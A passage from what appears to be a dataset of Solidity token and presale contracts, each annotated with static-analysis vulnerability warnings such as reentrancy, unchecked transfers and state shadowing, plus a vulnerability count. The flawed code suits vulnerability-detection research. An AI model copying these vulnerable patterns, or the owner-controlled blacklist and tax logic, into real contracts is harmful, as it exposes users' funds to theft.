manipulation of the order or value of events.\n\t// Recommendation for 0b80948: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 05c98ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 05c98ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0b80948\n\t\t\t\t// reentrancy-eth | ID: 05c98ca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0b80948\n\t\t\t\t\t// reentrancy-eth | ID: 05c98ca\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 05c98ca\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 05c98ca\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 05c98ca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0b80948\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 05c98ca\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 05c98ca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0b80948\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-events | ID: dfe9089\n\t\t// reentrancy-events | ID: 0b80948\n\t\t// reentrancy-benign | ID: c64bb2f\n\t\t// reentrancy-benign | ID: ed66921\n\t\t// reentrancy-eth | ID: 05c98ca\n\t\t// reentrancy-eth | ID: 216a5cc\n\t\t// reentrancy-eth | ID: b68dc01\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6fcc198): COIN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6fcc198: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-events | ID: dfe9089\n\t\t// reentrancy-events | ID: 0b80948\n\t\t// reentrancy-eth | ID: 05c98ca\n\t\t// reentrancy-eth | ID: 216a5cc\n\t\t// reentrancy-eth | ID: b68dc01\n\t\t// arbitrary-send-eth | ID: 6fcc198\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1bb4fdf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1bb4fdf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ed66921): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ed66921: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd5ba74): COIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dd5ba74: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 23543ea): COIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 23543ea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 216a5cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 216a5cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b68dc01): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b68dc01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-benign | ID: ed66921\n\t\t// reentrancy-eth | ID: 216a5cc\n\t\t// reentrancy-eth | ID: b68dc01\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-benign | ID: ed66921\n\t\t// reentrancy-eth | ID: 216a5cc\n\t\t// reentrancy-eth | ID: b68dc01\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-benign | ID: ed66921\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: dd5ba74\n\t\t// reentrancy-eth | ID: b68dc01\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 23543ea\n\t\t// reentrancy-eth | ID: b68dc01\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: b68dc01\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b68dc01\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d657638): COIN.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for d657638: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: d657638\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10126.sol",
"size_bytes": 21612,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract FusionCoinToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a97faf9): FusionCoinToken._totalSupply should be constant \n\t// Recommendation for a97faf9: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 9968f3a): FusionCoinToken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 9968f3a: Remove the state variable shadowing.\n uint256 private _totalSupply = 200000000000 * 10 ** 18;\n\n constructor() ERC20(\"Fusion Coin\", \"FUSC\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10127.sol",
"size_bytes": 6803,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f47d6ef): Presale.setPresaleStatus(Presale.PresaleStatus)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for f47d6ef: Rename the local variables that shadow another component.\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n Address.isContract(address(token));\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Presale is ReentrancyGuard, Ownable {\n using SafeERC20 for IERC20;\n\n using SafeMath for uint256;\n\n enum PresaleStatus {\n Started,\n Finished\n }\n\n struct PresaleConfig {\n address usdc;\n address presaleToken;\n uint256 startTime;\n uint256 endTime;\n uint256 hardcap;\n uint256 minContribution;\n }\n\n struct PoolInfo {\n uint presaleLevel;\n uint256 lastRewardTime;\n uint256 accWonkaPerShare;\n }\n\n struct Funder {\n uint256 contributedAmount;\n uint256 claimableAmount;\n uint256 rewardAmount;\n uint256 rewardDebt;\n bool isClaimed;\n }\n\n uint256 public constant PRECISION_FACTOR = uint256(10 ** (40 - 18));\n\n bool public initialized = false;\n\n PresaleConfig public presaleConfig;\n\n PresaleStatus public presaleStatus;\n\n uint256[] public wonkaPrice;\n\n uint256[] public capPerLevel;\n\n uint256 public totalContributed;\n\n uint256[7] public contributedPerLevel;\n\n PoolInfo public poolInfo;\n\n uint256 public wonkaPerSecond;\n\n uint256 public bonusEndTime;\n\n mapping(address => Funder) public funders;\n\n uint256 public funderCounter;\n\n\t// WARNING Optimization Issue (constable-states | ID: d048276): Presale.admin should be constant \n\t// Recommendation for d048276: Add the 'constant' attribute to state variables that never change.\n address public admin;\n\n address public keeper;\n\n mapping(string => uint256) public affiliate;\n\n event Contribute(address funder, uint256 amount);\n\n event Claimed(address funder, uint256 amount);\n\n constructor() {}\n\n function initialize(\n PresaleConfig memory _config,\n uint256[] memory _price,\n uint256[] memory _capPerLevel\n ) external onlyOwner {\n require(!initialized, \"already initialized\");\n\n require(\n owner() == address(0x0) || _msgSender() == owner(),\n \"not allowed\"\n );\n\n initialized = true;\n\n presaleConfig = _config;\n\n wonkaPrice = _price;\n\n capPerLevel = _capPerLevel;\n\n poolInfo.lastRewardTime = 1715295600;\n\n wonkaPerSecond = 3674 ether;\n\n bonusEndTime = 1720738800;\n }\n\n modifier adminAuth() {\n require(\n _msgSender() == keeper || _msgSender() == owner(),\n \"Caller is not registered admin\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 967c021): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 967c021: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 44001a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 44001a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a45cb21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a45cb21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8b74402): Presale.contribute(uint256,string) ignores return value by IERC20(presaleConfig.usdc).transferFrom(msg.sender,address(this),_amount)\n\t// Recommendation for 8b74402: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function contribute(\n uint256 _amount,\n string calldata code\n ) external nonReentrant {\n require(presaleStatus == PresaleStatus.Started, \"Presale is over\");\n\n require(\n _amount >= presaleConfig.minContribution,\n \"Contribution Amount is too low\"\n );\n\n\t\t// timestamp | ID: 967c021\n require(\n block.timestamp > presaleConfig.startTime,\n \"Presale is not started yet\"\n );\n\n\t\t// timestamp | ID: 967c021\n require(block.timestamp < presaleConfig.endTime, \"Presale is over\");\n\n require(\n totalContributed + _amount <= presaleConfig.hardcap,\n \"Amount entered goes over hardcap\"\n );\n\n Funder storage funder = funders[_msgSender()];\n\n if (funder.contributedAmount == 0) {\n funderCounter++;\n }\n\n updatePool();\n\n if (funder.contributedAmount > 0) {\n uint256 pending = funder\n .contributedAmount\n .mul(poolInfo.accWonkaPerShare)\n .div(PRECISION_FACTOR)\n .sub(funder.rewardDebt);\n\n funder.rewardAmount += pending;\n }\n\n\t\t// reentrancy-benign | ID: 44001a9\n\t\t// reentrancy-no-eth | ID: a45cb21\n\t\t// unchecked-transfer | ID: 8b74402\n IERC20(presaleConfig.usdc).transferFrom(\n msg.sender,\n address(this),\n _amount\n );\n\n\t\t// reentrancy-no-eth | ID: a45cb21\n totalContributed += _amount;\n\n\t\t// reentrancy-no-eth | ID: a45cb21\n funder.contributedAmount += _amount;\n\n if (\n contributedPerLevel[poolInfo.presaleLevel] + _amount >=\n capPerLevel[poolInfo.presaleLevel]\n ) {\n uint256 remLvlAmnt = capPerLevel[poolInfo.presaleLevel].sub(\n contributedPerLevel[poolInfo.presaleLevel]\n );\n\n\t\t\t// reentrancy-benign | ID: 44001a9\n contributedPerLevel[poolInfo.presaleLevel] += remLvlAmnt;\n\n uint256 curPrice = remLvlAmnt.mul(\n wonkaPrice[poolInfo.presaleLevel]\n );\n\n\t\t\t// reentrancy-no-eth | ID: a45cb21\n poolInfo.presaleLevel++;\n\n uint256 newPrice = _amount.sub(remLvlAmnt).mul(\n 